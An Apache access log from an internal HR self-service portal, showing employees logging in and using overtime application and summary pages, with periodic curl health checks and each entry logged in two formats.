192.168.12.66 - - [04/Sep/2025:15:27:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:27:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019
192.168.12.66 - - [04/Sep/2025:15:27:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131047&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 162238 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:27:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=131047&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 162238
192.168.12.66 - - [04/Sep/2025:15:27:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:27:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019
100.64.0.1 - - [04/Sep/2025:15:28:28 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:15:28:28 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:15:29:36 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [04/Sep/2025:15:29:36 +0800] "\x03" 501 203
100.64.0.1 - - [04/Sep/2025:15:33:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:15:33:44 +0800] "GET / HTTP/1.1" 200 439
192.168.12.82 - - [04/Sep/2025:15:33:46 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:33:46 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.12.82 - - [04/Sep/2025:15:33:47 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:33:47 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826
192.168.12.82 - - [04/Sep/2025:15:33:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:33:51 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.82 - - [04/Sep/2025:15:33:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.82 - - [04/Sep/2025:15:33:56 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:15:34:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:15:34:02 +0800] "GET / HTTP/1.1" 200 439
192.168.12.82 - - [04/Sep/2025:15:33:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.82 - - [04/Sep/2025:15:33:57 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.82 - - [04/Sep/2025:15:34:02 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.82 - - [04/Sep/2025:15:34:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.82 - - [04/Sep/2025:15:34:09 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.12.82 - - [04/Sep/2025:15:34:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:34:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:34:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2692056638614946 HTTP/1.1" 200 54628
192.168.12.82 - - [04/Sep/2025:15:34:52 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2692056638614946 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2692056638614946 HTTP/1.1" 200 56808 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2692056638614946" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:34:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2692056638614946 HTTP/1.1" 200 56808
192.168.12.82 - - [04/Sep/2025:15:35:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.12.82 - - [04/Sep/2025:15:35:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.66 - - [04/Sep/2025:15:35:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:35:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45019
192.168.12.66 - - [04/Sep/2025:15:35:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:35:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.12.82 - - [04/Sep/2025:15:35:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.49310567551241236 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.49310567551241236 HTTP/1.1" 200 54628
192.168.12.82 - - [04/Sep/2025:15:35:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.49310567551241236 HTTP/1.1" 200 56808 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.49310567551241236" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.49310567551241236 HTTP/1.1" 200 56808
192.168.12.66 - - [04/Sep/2025:15:35:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 108897 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:35:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 108897
192.168.12.82 - - [04/Sep/2025:15:35:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.12.82 - - [04/Sep/2025:15:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:35:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4154517520544878 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4154517520544878 HTTP/1.1" 200 54628
192.168.12.82 - - [04/Sep/2025:15:35:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4154517520544878 HTTP/1.1" 200 56808 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4154517520544878" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:35:59 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4154517520544878 HTTP/1.1" 200 56808
192.168.12.82 - - [04/Sep/2025:15:36:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:36:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.12.82 - - [04/Sep/2025:15:36:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:36:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:36:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:36:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:15:36:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:15:36:30 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.12.82 - - [04/Sep/2025:15:36:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15939968608189292 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:36:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15939968608189292 HTTP/1.1" 200 54628
192.168.12.82 - - [04/Sep/2025:15:36:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15939968608189292 HTTP/1.1" 200 56808 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15939968608189292" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:36:57 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.15939968608189292 HTTP/1.1" 200 56808
192.168.12.82 - - [04/Sep/2025:15:37:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.12.82 - - [04/Sep/2025:15:37:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:37:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:37:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4611932882681442 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:25 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4611932882681442 HTTP/1.1" 200 54628
192.168.12.82 - - [04/Sep/2025:15:37:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4611932882681442 HTTP/1.1" 200 56808 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4611932882681442" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4611932882681442 HTTP/1.1" 200 56808
192.168.12.82 - - [04/Sep/2025:15:37:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072
192.168.12.82 - - [04/Sep/2025:15:37:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.82 - - [04/Sep/2025:15:37:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:37:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
